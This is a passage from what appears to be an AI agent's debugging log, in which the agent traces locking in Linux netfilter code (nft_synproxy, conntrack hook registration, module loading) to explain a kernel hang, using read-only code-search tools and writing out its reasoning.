237: nla_put_failure:
238: return -1;
239: }
]
|
| 14/2 |
2026/05/31 10:19 |
llm |
expert |
0m
Model:
Tokens:
input: 27548
output: 41
thoughts: 62
Thoughts: Okay, let's dive into this. Here's what I'm thinking, as I trace this code:
**Analyzing the Synproxy Initialization Sequence**
Right, so `nft_synproxy_do_init` has been called. The first thing that jumps out is the call to `nf_synproxy_ipv4_init(snet, ctx->net)`. Now, I need to understand what that initialization function is doing. Clearly, it's the core of the IPv4 Synproxy setup, and the arguments are `snet` and `ctx->net`, so I'm guessing some sort of network namespace or netdev information is being passed.
My next step is to immediately look at the implementation of `nf_synproxy_ipv4_init`. I'll need to open `net/netfilter/nf_synproxy_core.c` and take a deep dive. I'll be looking for things like registration of netfilter hooks, allocation of data structures, and any other setup specific to the IPv4 side of the synproxy functionality. I'm especially interested in how it integrates with the existing netfilter infrastructure and how it handles things like connection tracking.
|
| 15/2 |
2026/05/31 10:19 |
tool |
read-file |
0m
Args: map[File:net/netfilter/nf_synproxy_core.c FirstLine:760 LineCount:50]
Results: map[Contents: 760: .hook = ipv4_synproxy_hook,
761: .pf = NFPROTO_IPV4,
762: .hooknum = NF_INET_POST_ROUTING,
763: .priority = NF_IP_PRI_CONNTRACK_CONFIRM - 1,
764: },
765: };
766:
767: int nf_synproxy_ipv4_init(struct synproxy_net *snet, struct net *net)
768: {
769: int err;
770:
771: if (snet->hook_ref4 == 0) {
772: err = nf_register_net_hooks(net, ipv4_synproxy_ops,
773: ARRAY_SIZE(ipv4_synproxy_ops));
774: if (err)
775: return err;
776: }
777:
778: snet->hook_ref4++;
779: return 0;
780: }
781: EXPORT_SYMBOL_GPL(nf_synproxy_ipv4_init);
782:
783: void nf_synproxy_ipv4_fini(struct synproxy_net *snet, struct net *net)
784: {
785: snet->hook_ref4--;
786: if (snet->hook_ref4 == 0)
787: nf_unregister_net_hooks(net, ipv4_synproxy_ops,
788: ARRAY_SIZE(ipv4_synproxy_ops));
789: }
790: EXPORT_SYMBOL_GPL(nf_synproxy_ipv4_fini);
791:
792: #if IS_ENABLED(CONFIG_IPV6)
793: static struct ipv6hdr *
794: synproxy_build_ip_ipv6(struct net *net, struct sk_buff *skb,
795: const struct in6_addr *saddr,
796: const struct in6_addr *daddr)
797: {
798: struct ipv6hdr *iph;
799:
800: skb_reset_network_header(skb);
801: iph = skb_put(skb, sizeof(*iph));
802: ip6_flow_hdr(iph, 0, 0);
803: iph->hop_limit = READ_ONCE(net->ipv6.devconf_all->hop_limit);
804: iph->nexthdr = IPPROTO_TCP;
805: iph->saddr = *saddr;
806: iph->daddr = *daddr;
807:
808: return iph;
809: }
]
|
| 16/2 |
2026/05/31 10:19 |
llm |
expert |
0m
Model:
Tokens:
input: 28705
output: 39
thoughts: 73
Thoughts: **Examining the Netfilter Hook Registration**
Okay, hold on a second. I thought I remembered something about `nf_register_net_hooks` interacting with the routing table lock, `rtnl_lock`. But then I recalled it using `mutex_lock(&nf_hook_mutex)`. I need to be sure about this. Maybe something *related* to Netfilter registration uses `rtnl_lock`, and I'm getting confused.
Let's quickly verify. The most direct path is to check the implementation of `nf_register_net_hooks`. I'll delve into the code and see exactly what locking mechanisms are employed within that function to refresh my memory and dispel this lingering uncertainty.
|
| 17/2 |
2026/05/31 10:19 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/core.c Name:nf_register_net_hooks]
Results: map[SourceCode: 584: int nf_register_net_hooks(struct net *net, const struct nf_hook_ops *reg,
585: unsigned int n)
586: {
587: unsigned int i;
588: int err = 0;
589:
590: for (i = 0; i < n; i++) {
591: err = nf_register_net_hook(net, ®[i]);
592: if (err)
593: goto err;
594: }
595: return err;
596:
597: err:
598: if (i > 0)
599: nf_unregister_net_hooks(net, reg, i);
600: return err;
601: }
SourceFile:net/netfilter/core.c]
|
| 18/2 |
2026/05/31 10:19 |
llm |
expert |
0m
Model:
Tokens:
input: 29232
output: 39
thoughts: 13
Thoughts: Here's my take on those thoughts, tailored for an expert audience:
**Diving into `nf_register_net_hook`**
Okay, time to get my hands dirty. Let's see what `nf_register_net_hook` is doing under the hood. Specifically, I need to jog my memory on the call's implementation and how it interacts with the rest of the netfilter subsystem. I'm going to look at the registration process itself – the data structures involved, the locks potentially being acquired (and their implications for performance and concurrency), and the various hook points it touches within the networking stack. I need to refresh my understanding of how this impacts overall packet flow and any potential side effects this hook might introduce. My focus will be on the nuances: how the hook is inserted into the chain, the chain's overall performance, and how this relates to potential race conditions, especially considering the interactions with conntrack and other core network components. I'm also going to check if there are any specific considerations for different networking namespaces or any potential issues when considering multi-threaded applications. I want to make sure this hook behaves as expected within different network configurations.
|
| 19/2 |
2026/05/31 10:19 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/core.c Name:nf_register_net_hook]
Results: map[SourceCode: 554: int nf_register_net_hook(struct net *net, const struct nf_hook_ops *reg)
555: {
556: int err;
557:
558: if (reg->pf == NFPROTO_INET) {
559: if (reg->hooknum == NF_INET_INGRESS) {
560: err = __nf_register_net_hook(net, NFPROTO_INET, reg);
561: if (err < 0)
562: return err;
563: } else {
564: err = __nf_register_net_hook(net, NFPROTO_IPV4, reg);
565: if (err < 0)
566: return err;
567:
568: err = __nf_register_net_hook(net, NFPROTO_IPV6, reg);
569: if (err < 0) {
570: __nf_unregister_net_hook(net, NFPROTO_IPV4, reg);
571: return err;
572: }
573: }
574: } else {
575: err = __nf_register_net_hook(net, reg->pf, reg);
576: if (err < 0)
577: return err;
578: }
579:
580: return 0;
581: }
SourceFile:net/netfilter/core.c]
|
| 20/2 |
2026/05/31 10:19 |
llm |
expert |
0m
Model:
Tokens:
input: 29965
output: 40
thoughts: 14
Thoughts: Here's my attempt at summarizing the thought process, tailored for an expert audience:
**Diving into `__nf_register_net_hook`**
Okay, time to get a bit deeper into this. The task at hand involves network filtering, so `__nf_register_net_hook` is the logical place to start. I need to understand exactly how new hooks are registered within the Netfilter framework. What data structures are being used? How is the priority handled? Are there any obvious race conditions that might cause problems, especially under heavy load or with a lot of registered modules? I'm particularly interested in the interaction with the core Netfilter code. I'll need to trace the execution path and identify how new hook registrations influence the decision-making process. The goal is to fully understand how the insertion point is determined and the impact that registration has on packet processing within the Netfilter chain.
|
| 21/2 |
2026/05/31 10:19 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/core.c Name:__nf_register_net_hook]
Results: map[SourceCode: 393: static int __nf_register_net_hook(struct net *net, int pf,
394: const struct nf_hook_ops *reg)
395: {
396: struct nf_hook_entries *p, *new_hooks;
397: struct nf_hook_entries __rcu **pp;
398: int err;
399:
400: switch (pf) {
401: case NFPROTO_NETDEV:
402: #ifndef CONFIG_NETFILTER_INGRESS
403: if (reg->hooknum == NF_NETDEV_INGRESS)
404: return -EOPNOTSUPP;
405: #endif
406: #ifndef CONFIG_NETFILTER_EGRESS
407: if (reg->hooknum == NF_NETDEV_EGRESS)
408: return -EOPNOTSUPP;
409: #endif
410: if ((reg->hooknum != NF_NETDEV_INGRESS &&
411: reg->hooknum != NF_NETDEV_EGRESS) ||
412: !reg->dev || dev_net(reg->dev) != net)
413: return -EINVAL;
414: break;
415: case NFPROTO_INET:
416: if (reg->hooknum != NF_INET_INGRESS)
417: break;
418:
419: err = nf_ingress_check(net, reg, NF_INET_INGRESS);
420: if (err < 0)
421: return err;
422: break;
423: }
424:
425: pp = nf_hook_entry_head(net, pf, reg->hooknum, reg->dev);
426: if (!pp)
427: return -EINVAL;
428:
429: mutex_lock(&nf_hook_mutex);
430:
431: p = nf_entry_dereference(*pp);
432: new_hooks = nf_hook_entries_grow(p, reg);
433:
434: if (!IS_ERR(new_hooks)) {
435: hooks_validate(new_hooks);
436: rcu_assign_pointer(*pp, new_hooks);
437: }
438:
439: mutex_unlock(&nf_hook_mutex);
440: if (IS_ERR(new_hooks))
441: return PTR_ERR(new_hooks);
442:
443: #ifdef CONFIG_NETFILTER_INGRESS
444: if (nf_ingress_hook(reg, pf))
445: net_inc_ingress_queue();
446: #endif
447: #ifdef CONFIG_NETFILTER_EGRESS
448: if (nf_egress_hook(reg, pf))
449: net_inc_egress_queue();
450: #endif
451: nf_static_key_inc(reg, pf);
452:
453: BUG_ON(p == new_hooks);
454: nf_hook_entries_free(p);
455: return 0;
456: }
SourceFile:net/netfilter/core.c]
|
| 22/2 |
2026/05/31 10:19 |
llm |
expert |
0m
Model:
Tokens:
input: 31166
output: 46
thoughts: 147
Thoughts: **Analyzing Potential Locking Conflicts in Netfilter's Rule Management**
Okay, so I'm digging into how Netfilter handles rule creation and destruction, specifically focusing on potential race conditions. My initial thought is about how `nf_hook_entries_free` cleans up hooks. It uses either `call_rcu` or `kfree` – that's standard for memory management, but I need to make sure I understand the context. The question is, is there any involvement from `rtnl_lock` in this particular function? I need to know if we are trying to release something while a Netlink message is being processed.
Now, I'm shifting gears. I recall `nf_tables` creating a new rule utilizes `nfnetlink`. This means Netlink is involved. And with Netlink, that means a lock. I remember `nfnetlink_rcv_batch` *does* take `nfnl_lock(subsys_id)`. Okay, so `nfnetlink` does use a lock, but now I need to determine if there's any direct interaction with `rtnl_lock` *within* the `nf_tables` flow.
The answer is no, but wait, `nft_synproxy_do_init` calls `nf_ct_netns_get(ctx->net, ctx->family)`. This is interesting; we're dealing with connection tracking, which could be a source of problems if we have improper locking. I'm going to follow the code and check the details of `nf_ct_netns_get` to get a better handle on the situation.
|
| 23/2 |
2026/05/31 10:20 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_conntrack_proto.c Name:nf_ct_netns_get]
Results: map[SourceCode: 579: int nf_ct_netns_get(struct net *net, u8 nfproto)
580: {
581: int err;
582:
583: switch (nfproto) {
584: case NFPROTO_INET:
585: err = nf_ct_netns_inet_get(net);
586: break;
587: case NFPROTO_BRIDGE:
588: err = nf_ct_netns_do_get(net, NFPROTO_BRIDGE);
589: if (err < 0)
590: return err;
591:
592: err = nf_ct_netns_inet_get(net);
593: if (err < 0) {
594: nf_ct_netns_put(net, NFPROTO_BRIDGE);
595: return err;
596: }
597: break;
598: default:
599: err = nf_ct_netns_do_get(net, nfproto);
600: break;
601: }
602: return err;
603: }
SourceFile:net/netfilter/nf_conntrack_proto.c]
|
| 24/2 |
2026/05/31 10:20 |
llm |
expert |
0m
Model:
Tokens:
input: 32076
output: 48
thoughts: 16
Thoughts: Okay, let's dive into this. Here's my thought process on dissecting this, assuming I'm already pretty familiar with networking and kernel internals:
**Diving into `nf_ct_netns_do_get`**
Right, so they want me to look at `nf_ct_netns_do_get`. Immediately, my brain starts running through the usual suspects. I'm thinking, "Okay, this sounds like a function related to Netfilter connection tracking, and specifically, it's dealing with namespaces." The name itself is pretty descriptive, right? `nf_ct` means Netfilter Connection Tracking, `netns` clearly indicates Network Namespaces, and `do_get` suggests it's a retrieval operation. I'm assuming it's involved in *getting* connection tracking entries, presumably within the context of a specific network namespace. I'd expect it plays a key role in isolating connection tracking state. Maybe checking which connection tracking table the connection belongs to? And what namespace that table is in? I should double-check how connection tracking works in the kernel, and the interaction between connection tracking and network namespaces.
|
| 25/2 |
2026/05/31 10:20 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_conntrack_proto.c Name:nf_ct_netns_do_get]
Results: map[SourceCode: 435: static int nf_ct_netns_do_get(struct net *net, u8 nfproto)
436: {
437: struct nf_conntrack_net *cnet = nf_ct_pernet(net);
438: bool fixup_needed = false, retry = true;
439: int err = 0;
440: retry:
441: mutex_lock(&nf_ct_proto_mutex);
442:
443: switch (nfproto) {
444: case NFPROTO_IPV4:
445: cnet->users4++;
446: if (cnet->users4 > 1)
447: goto out_unlock;
448: err = nf_defrag_ipv4_enable(net);
449: if (err) {
450: cnet->users4 = 0;
451: goto out_unlock;
452: }
453:
454: err = nf_register_net_hooks(net, ipv4_conntrack_ops,
455: ARRAY_SIZE(ipv4_conntrack_ops));
456: if (err)
457: cnet->users4 = 0;
458: else
459: fixup_needed = true;
460: break;
461: #if IS_ENABLED(CONFIG_IPV6)
462: case NFPROTO_IPV6:
463: cnet->users6++;
464: if (cnet->users6 > 1)
465: goto out_unlock;
466: err = nf_defrag_ipv6_enable(net);
467: if (err < 0) {
468: cnet->users6 = 0;
469: goto out_unlock;
470: }
471:
472: err = nf_register_net_hooks(net, ipv6_conntrack_ops,
473: ARRAY_SIZE(ipv6_conntrack_ops));
474: if (err)
475: cnet->users6 = 0;
476: else
477: fixup_needed = true;
478: break;
479: #endif
480: case NFPROTO_BRIDGE:
481: if (!nf_ct_bridge_info) {
482: if (!retry) {
483: err = -EPROTO;
484: goto out_unlock;
485: }
486: mutex_unlock(&nf_ct_proto_mutex);
487: request_module("nf_conntrack_bridge");
488: retry = false;
489: goto retry;
490: }
491: if (!try_module_get(nf_ct_bridge_info->me)) {
492: err = -EPROTO;
493: goto out_unlock;
494: }
495: cnet->users_bridge++;
496: if (cnet->users_bridge > 1)
497: goto out_unlock;
498:
499: err = nf_register_net_hooks(net, nf_ct_bridge_info->ops,
500: nf_ct_bridge_info->ops_size);
501: if (err)
502: cnet->users_bridge = 0;
503: else
504: fixup_needed = true;
505: break;
506: default:
507: err = -EPROTO;
508: break;
509: }
510: out_unlock:
511: mutex_unlock(&nf_ct_proto_mutex);
512:
513: if (fixup_needed) {
514: struct nf_ct_iter_data iter_data = {
515: .net = net,
516: .data = (void *)(unsigned long)nfproto,
517: };
518: nf_ct_iterate_cleanup_net(nf_ct_tcp_fixup, &iter_data);
519: }
520:
521: return err;
522: }
SourceFile:net/netfilter/nf_conntrack_proto.c]
|
| 26/2 |
2026/05/31 10:20 |
llm |
expert |
0m
Model:
Tokens:
input: 33653
output: 50
thoughts: 101
Thoughts: **Analyzing Potential Module Load Triggers in the Netfilter Framework**
Okay, so I'm trying to figure out what's causing or could *potentially* cause a module load within this Netfilter context. My initial thought was something like `request_module("nf_conntrack_bridge")`, right? It's a common trigger. But then I started thinking about the connection with the SYN proxy module. I know `nf_synproxy_ipv4_init` calls `nf_register_net_hooks`. The key here is, does that hook registration itself, inherently, cause a module load? No. So I've got to dig deeper. Then it hits me, what about `nf_defrag_ipv4_enable`? That feels like it might be a module load trigger, or at least be tied to something significant. So, that's where I need to focus my attention now. Time to go check out the `nf_defrag_ipv4_enable` function itself.
|
| 27/2 |
2026/05/31 10:20 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/ipv4/netfilter/nf_defrag_ipv4.c Name:nf_defrag_ipv4_enable]
Results: map[SourceCode: 145: int nf_defrag_ipv4_enable(struct net *net)
146: {
147: int err = 0;
148:
149: mutex_lock(&defrag4_mutex);
150: if (net->nf.defrag_ipv4_users == UINT_MAX) {
151: err = -EOVERFLOW;
152: goto out_unlock;
153: }
154:
155: if (net->nf.defrag_ipv4_users) {
156: net->nf.defrag_ipv4_users++;
157: goto out_unlock;
158: }
159:
160: err = nf_register_net_hooks(net, ipv4_defrag_ops,
161: ARRAY_SIZE(ipv4_defrag_ops));
162: if (err == 0)
163: net->nf.defrag_ipv4_users = 1;
164:
165: out_unlock:
166: mutex_unlock(&defrag4_mutex);
167: return err;
168: }
SourceFile:net/ipv4/netfilter/nf_defrag_ipv4.c]
|
| 28/2 |
2026/05/31 10:20 |
llm |
expert |
0m
Model:
Tokens:
input: 34395
output: 43
thoughts: 78
Thoughts: **Investigating nftables Module Loading**
Okay, so I'm digging into how `nf_tables` handles module loading. My initial question is whether or not it utilizes `request_module`, and if so, where. Right, it looks like `nft_expr_type_get` is the key function here, and it *does* indeed call `request_module`, specifically with the module name formatted as `nft-expr-%s`, where `%s` will be replaced by the expression's name. That's good to know.
But wait a minute... I need to double-check something crucial here: is `request_module` being called *while* `nfnl_lock` is held? That's a potential area for contention and deadlock. I need to confirm the locking context in `nft_expr_type_get` before I go any further. Let me quickly examine the surrounding code around the `request_module` call in `nft_expr_type_get` to verify the locking situation.
|
| 29/2 |
2026/05/31 10:20 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nft_expr_type_get]
Results: map[SourceCode:3316: static const struct nft_expr_type *nft_expr_type_get(struct net *net,
3317: u8 family,
3318: struct nlattr *nla)
3319: {
3320: const struct nft_expr_type *type;
3321:
3322: if (nla == NULL)
3323: return ERR_PTR(-EINVAL);
3324:
3325: rcu_read_lock();
3326: type = __nft_expr_type_get(family, nla);
3327: if (type != NULL && try_module_get(type->owner)) {
3328: rcu_read_unlock();
3329: return type;
3330: }
3331: rcu_read_unlock();
3332:
3333: lockdep_nfnl_nft_mutex_not_held();
3334: #ifdef CONFIG_MODULES
3335: if (type == NULL) {
3336: if (nft_expr_type_request_module(net, family, nla) == -EAGAIN)
3337: return ERR_PTR(-EAGAIN);
3338:
3339: if (nft_request_module(net, "nft-expr-%.*s",
3340: nla_len(nla),
3341: (char *)nla_data(nla)) == -EAGAIN)
3342: return ERR_PTR(-EAGAIN);
3343: }
3344: #endif
3345: return ERR_PTR(-ENOENT);
3346: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 30/2 |
2026/05/31 10:20 |
llm |
expert |
0m
Model:
Tokens:
input: 35233
output: 43
thoughts: 359
Thoughts: **Debugging a Kernel Hang: A Deep Dive**
Okay, so `lockdep_nfnl_nft_mutex_not_held()` tells me the `nfnl_lock` *isn't* held. That's good to know, but doesn't immediately help. Now, I remember `nfnetlink_rcv_batch` releases the lock before calling `request_module`...right, yes, it handles `-EAGAIN` that way, dropping the lock, calling `request_module`, and retrying. That's a classic strategy.
The problem, though, is that `request_module` can lead to a `call_usermodehelper`. And that can block, potentially for a long time. I know the reproducer hangs in `crda_timeout_work` waiting for `rtnl_lock`... so, why is `rtnl_lock` held? That's the key question.
Let's see if either `nf_tables` or `nft_synproxy` are the culprits. Hmm, `nft_synproxy_do_init` calls `nf_ct_netns_get`. But, does that hold `rtnl_lock`? No, that doesn't seem likely. What about `nf_synproxy_ipv4_init`, which calls `nf_register_net_hooks`? Nope, that's not it either.
Wait a minute... What if the module loading itself, triggered by `request_module`, is the issue? If `request_module("nft-expr-synproxy")` is called, it loads `nft_synproxy.ko`. That's likely to involve the `nft_synproxy` module initialization.
Does *that* initialization hold `rtnl_lock`? That's the critical question now. I need to examine `nft_synproxy_module_init` to be sure. That's where the answer is likely hiding.
|
| 31/2 |
2026/05/31 10:20 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nft_synproxy.c Name:nft_synproxy_module_init]
Results: map[SourceCode: 365: static int __init nft_synproxy_module_init(void)
366: {
367: int err;
368:
369: err = nft_register_obj(&nft_synproxy_obj_type);
370: if (err < 0)
371: return err;
372:
373: err = nft_register_expr(&nft_synproxy_type);
374: if (err < 0)
375: goto err;
376:
377: return 0;
378:
379: err:
380: nft_unregister_obj(&nft_synproxy_obj_type);
381: return err;
382: }
SourceFile:net/netfilter/nft_synproxy.c]
|
| 32/2 |
2026/05/31 10:20 |
llm |
expert |
0m
Model:
Tokens:
input: 36309
output: 43
thoughts: 511
Thoughts: **Analyzing the Reproducer**
Okay, so I'm not seeing any obvious `rtnl_lock` involvement here, which is the initial assumption I had. Hmmm, but maybe the reproducer is doing something *else* that's relevant. Let's dig into the system calls. Okay, the reproducer's calling `mmap` a few times to set up some memory regions. Then, I see a call to `socket`. Now, let me see. That `0x10` domain... ah, that's `AF_NETLINK`. And a raw socket (`SOCK_RAW`) with the `NETLINK_NETFILTER` protocol (`0xc`). So, this is clearly a netfilter operation. Specifically, it's sending a message with `NFT_BATCH`, the netfilter batch command, right? And I see a table named "syz0", a chain "syz2", and then a rule with the `synproxy` expression. Okay, this is getting interesting. Now, is `nft_synproxy_do_init` being called somewhere? Could it be stuck? Perhaps `nft_synproxy_do_init` has an infinite loop or a deadlock? Let's go back and re-examine `nft_synproxy_do_init` closely, just to make sure.
|
| 33/2 |
2026/05/31 10:20 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nft_synproxy.c Name:nft_synproxy_do_init]
Results: map[SourceCode: 152: static int nft_synproxy_do_init(const struct nft_ctx *ctx,
153: const struct nlattr * const tb[],
154: struct nft_synproxy *priv)
155: {
156: struct synproxy_net *snet = synproxy_pernet(ctx->net);
157: u32 flags;
158: int err;
159:
160: if (tb[NFTA_SYNPROXY_MSS])
161: priv->info.mss = ntohs(nla_get_be16(tb[NFTA_SYNPROXY_MSS]));
162: if (tb[NFTA_SYNPROXY_WSCALE])
163: priv->info.wscale = nla_get_u8(tb[NFTA_SYNPROXY_WSCALE]);
164: if (tb[NFTA_SYNPROXY_FLAGS]) {
165: flags = ntohl(nla_get_be32(tb[NFTA_SYNPROXY_FLAGS]));
166: if (flags & ~NF_SYNPROXY_OPT_MASK)
167: return -EOPNOTSUPP;
168: priv->info.options = flags;
169: }
170:
171: err = nf_ct_netns_get(ctx->net, ctx->family);
172: if (err)
173: return err;
174:
175: switch (ctx->family) {
176: case NFPROTO_IPV4:
177: err = nf_synproxy_ipv4_init(snet, ctx->net);
178: if (err)
179: goto nf_ct_failure;
180: break;
181: #if IS_ENABLED(CONFIG_NF_TABLES_IPV6)
182: case NFPROTO_IPV6:
183: err = nf_synproxy_ipv6_init(snet, ctx->net);
184: if (err)
185: goto nf_ct_failure;
186: break;
187: #endif
188: case NFPROTO_INET:
189: err = nf_synproxy_ipv4_init(snet, ctx->net);
190: if (err)
191: goto nf_ct_failure;
192: err = nf_synproxy_ipv6_init(snet, ctx->net);
193: if (err) {
194: nf_synproxy_ipv4_fini(snet, ctx->net);
195: goto nf_ct_failure;
196: }
197: break;
198: }
199:
200: return 0;
201:
202: nf_ct_failure:
203: nf_ct_netns_put(ctx->net, ctx->family);
204: return err;
205: }
SourceFile:net/netfilter/nft_synproxy.c]
|
| 34/2 |
2026/05/31 10:20 |
llm |
expert |
0m
Model:
Tokens:
input: 38013
output: 41
thoughts: 409
Thoughts: **Analyzing the Connection Tracking Module Initialization**
Okay, let's break this down. I see that `nf_ct_netns_get` is the entry point, and it's calling `nf_ct_netns_do_get`. Now, the critical part is that `nf_ct_netns_do_get` makes a call to `request_module("nf_conntrack_bridge")` *conditionally*. Specifically, this happens if the protocol family (`nfproto`) is `NFPROTO_BRIDGE` *and* there isn't any existing `nf_ct_bridge_info` structure.
The issue, as I see it, arises because the `ctx->family` within this immediate scope is set to `NFPROTO_IPV4`, `NFPROTO_IPV6`, or `NFPROTO_INET`. That's where the initial check is. What I'm missing is how `ctx->family` might *become* `NFPROTO_BRIDGE` in the first place.
Aha! It looks like if `ctx->family` *is* indeed `NFPROTO_BRIDGE`, then the function `nft_synproxy_do_init` calls `nf_ct_netns_get` directly, with `NFPROTO_BRIDGE`. So that's the trigger. This means the `switch (ctx->family)` statement won't catch `NFPROTO_BRIDGE` directly. It will fall through the `switch` statement and return `0`.
But the key point is the call `nf_ct_netns_get(ctx->net, NFPROTO_BRIDGE)` is going to happen in the special case of `NFPROTO_BRIDGE`. This goes into `nf_ct_netns_do_get(net, NFPROTO_BRIDGE)`. Now we're looking at the core logic: if `!nf_ct_bridge_info`, the code block I am reading gets executed, and `request_module("nf_conntrack_bridge")` is invoked.
The important thing is this, the `request_module` call. The code is clearly attempting to load the `nf_conntrack_bridge` module dynamically. The call *does* happen, but what are its implications in terms of blocking and locking? It's known that `request_module` can block, but the critical question is whether it's holding any locks while it's doing so, and if so, which ones?
Now, remember that `nft_synproxy_do_init` is called from `nft_synproxy_init`. So, this `request_module` call occurs as part of the synproxy initialization sequence. I'll need to trace the locking behavior of `request_module` with respect to the initialization context.
|
| 35/2 |
2026/05/31 10:20 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nft_synproxy.c Name:nft_synproxy_init]
Results: map[SourceCode: 262: static int nft_synproxy_init(const struct nft_ctx *ctx,
263: const struct nft_expr *expr,
264: const struct nlattr * const tb[])
265: {
266: struct nft_synproxy *priv = nft_expr_priv(expr);
267:
268: return nft_synproxy_do_init(ctx, tb, priv);
269: }
SourceFile:net/netfilter/nft_synproxy.c]
|
| 36/2 |
2026/05/31 10:20 |
llm |
expert |
0m
Model:
Tokens:
input: 39214
output: 47
thoughts: 222
Thoughts: **Investigating a Potential Deadlock**
Okay, so `nft_synproxy_init` is invoked from `nf_tables_newrule`. `nf_tables_newrule`, in turn, is triggered by `nfnetlink_rcv_batch`. `nfnetlink_rcv_batch` is acquiring `nfnl_lock` for the NFTABLES subsystem, which is good. That's the expected behavior. Now, I'm thinking, `request_module` is in the picture, and that's calling `call_usermodehelper`.
Hang on, if `call_usermodehelper` *blocks* – and this is the critical point – it *also* holds `nfnl_lock(NFNL_SUBSYS_NFTABLES)`. That's a potential concurrency issue, especially if something else is trying to use that lock.
My focus is on understanding why `crda_timeout_work` is hanging. `crda_timeout_work` calls `rtnl_lock()`. I need to figure out the lock relationship between `rtnl_lock` and `nfnl_lock`. So, does `request_module` also hold `rtnl_lock`? I'm pretty sure it doesn't, so that's not it.
But...wait... what if some other initialization is causing the issue? Does the `nf_conntrack_bridge` module's initialization potentially hold `rtnl_lock` while `request_module` is trying to load a module that also needs `nfnl_lock`? That's what I need to investigate. I'll check the `nf_conntrack_bridge` module's init code. That seems like the most likely point of contention.
|
| 37/2 |
2026/05/31 10:20 |
tool |
codesearch-definition-source |
0m
Error:
Args: map[ContextFile:net/bridge/netfilter/nf_conntrack_bridge.c Name:nf_ct_bridge_init]
Results: map[SourceCode: SourceFile:]
|
| 38/2 |
2026/05/31 10:20 |
llm |
expert |
0m
Model:
Tokens:
input: 39884
output: 39
thoughts: 24
Thoughts: Here's my thought process, as if I were considering this issue:
**Diving into the Conntrack Bridge Code**
Okay, I need to get to the heart of this. Let's not waste any time with layers of abstraction. I'm going to go right to the source code for the conntrack bridge functionality: specifically, `net/bridge/netfilter/nf_conntrack_bridge.c`. That's where the magic (or the problems!) are most likely to be. Time to see what's actually happening at that level. I'm hoping I can pinpoint the behavior I'm seeing with the current configuration right in the code.
|
| 39/2 |
2026/05/31 10:20 |
tool |
grepper |
0m
Args: map[Expression:module_init PathPrefix:net/bridge/netfilter/nf_conntrack_bridge.c]
Results: map[Output:net/bridge/netfilter/nf_conntrack_bridge.c=445=static void __exit nf_conntrack_l3proto_bridge_fini(void)
--
net/bridge/netfilter/nf_conntrack_bridge.c-449-
net/bridge/netfilter/nf_conntrack_bridge.c:450:module_init(nf_conntrack_l3proto_bridge_init);
net/bridge/netfilter/nf_conntrack_bridge.c-451-module_exit(nf_conntrack_l3proto_bridge_fini);
]
|
| 40/2 |
2026/05/31 10:20 |
llm |
expert |
0m
Model:
Tokens:
input: 40248
output: 53
thoughts: 19
Thoughts: Okay, let's dive into this. Here's my thought process on what we're looking at, summarized from an expert perspective:
**Initial Assessment: `nf_conntrack_l3proto_bridge_init`**
Alright, so the focus is `nf_conntrack_l3proto_bridge_init`. Immediately, my mind jumps to the network layer, specifically the interaction of the connection tracking module (`nf_conntrack`) with bridging environments. This indicates we're dealing with how connection tracking is handled *within* a bridged network topology. We need to figure out how connection tracking is initialized or configured, and how it interacts within a bridge. This could involve understanding how it associates L3 information with bridged packets, which is a common challenge with bridging and NAT. I'm already anticipating some of the nuances around dealing with MAC addresses, VLAN tags, and potentially other encapsulation layers within the bridged setup. Let's see what the code reveals.
|
| 41/2 |
2026/05/31 10:21 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/bridge/netfilter/nf_conntrack_bridge.c Name:nf_conntrack_l3proto_bridge_init]
Results: map[SourceCode: 438: static int __init nf_conntrack_l3proto_bridge_init(void)
439: {
440: nf_ct_bridge_register(&bridge_info);
441:
442: return 0;
443: }
SourceFile:net/bridge/netfilter/nf_conntrack_bridge.c]
|
| 42/2 |
2026/05/31 10:21 |
llm |
expert |
0m
Model:
Tokens:
input: 40643
output: 45
thoughts: 13
Thoughts: Okay, let's dive into this. Here's my thought process on this:
**Analyzing `nf_ct_bridge_register`**
Alright, the objective is to examine `nf_ct_bridge_register`. This function is likely the key to understanding how connection tracking, particularly Network Filter's conntrack (nf_ct), interacts within a bridged network environment. Given my expertise, I'm already anticipating some of the nuances. I'm thinking about:
* **Its purpose:** What is this function *doing*? Is it registering a specific hook, callback, or structure related to bridging within the conntrack system? Does it handle any initialization or setup?
* **The context:** Where is this function called from? Knowing the calling code will be vital in understanding its role. Is it invoked during network interface initialization, bridge creation, or at runtime when packets flow through the bridge? The call path tells the story.
* **The arguments:** What parameters does it take? These often provide clues to the data it operates on (e.g., bridge device pointers, conntrack table references, or specific flags). Understanding the arguments is essential.
* **The functionality:** What does the function actually *do*? I'll need to dig into the implementation, paying close attention to any data structures it modifies, any calls to other conntrack functions, and any registration of Netfilter hooks or callbacks. Specifically, I'm looking for where and how the bridging specifics are being set up within the conntrack context.
* **Potential issues:** I'll be on the lookout for potential race conditions, locking mechanisms, or memory management concerns. Bridging can be complex, and these types of issues are a common.
Essentially, I'm going to follow the breadcrumbs of this function to understand how the conntrack mechanism is integrated within the bridge. It's time to get started with the code analysis!
|
| 43/2 |
2026/05/31 10:21 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_conntrack_proto.c Name:nf_ct_bridge_register]
Results: map[SourceCode: 623: void nf_ct_bridge_register(struct nf_ct_bridge_info *info)
624: {
625: WARN_ON(nf_ct_bridge_info);
626: mutex_lock(&nf_ct_proto_mutex);
627: nf_ct_bridge_info = info;
628: mutex_unlock(&nf_ct_proto_mutex);
629: }
SourceFile:net/netfilter/nf_conntrack_proto.c]
|
| 44/2 |
2026/05/31 10:21 |
llm |
expert |
0m
Model:
Tokens:
input: 41264
output: 42
thoughts: 943
Thoughts: **Analyzing a Potential Kernel Hang**
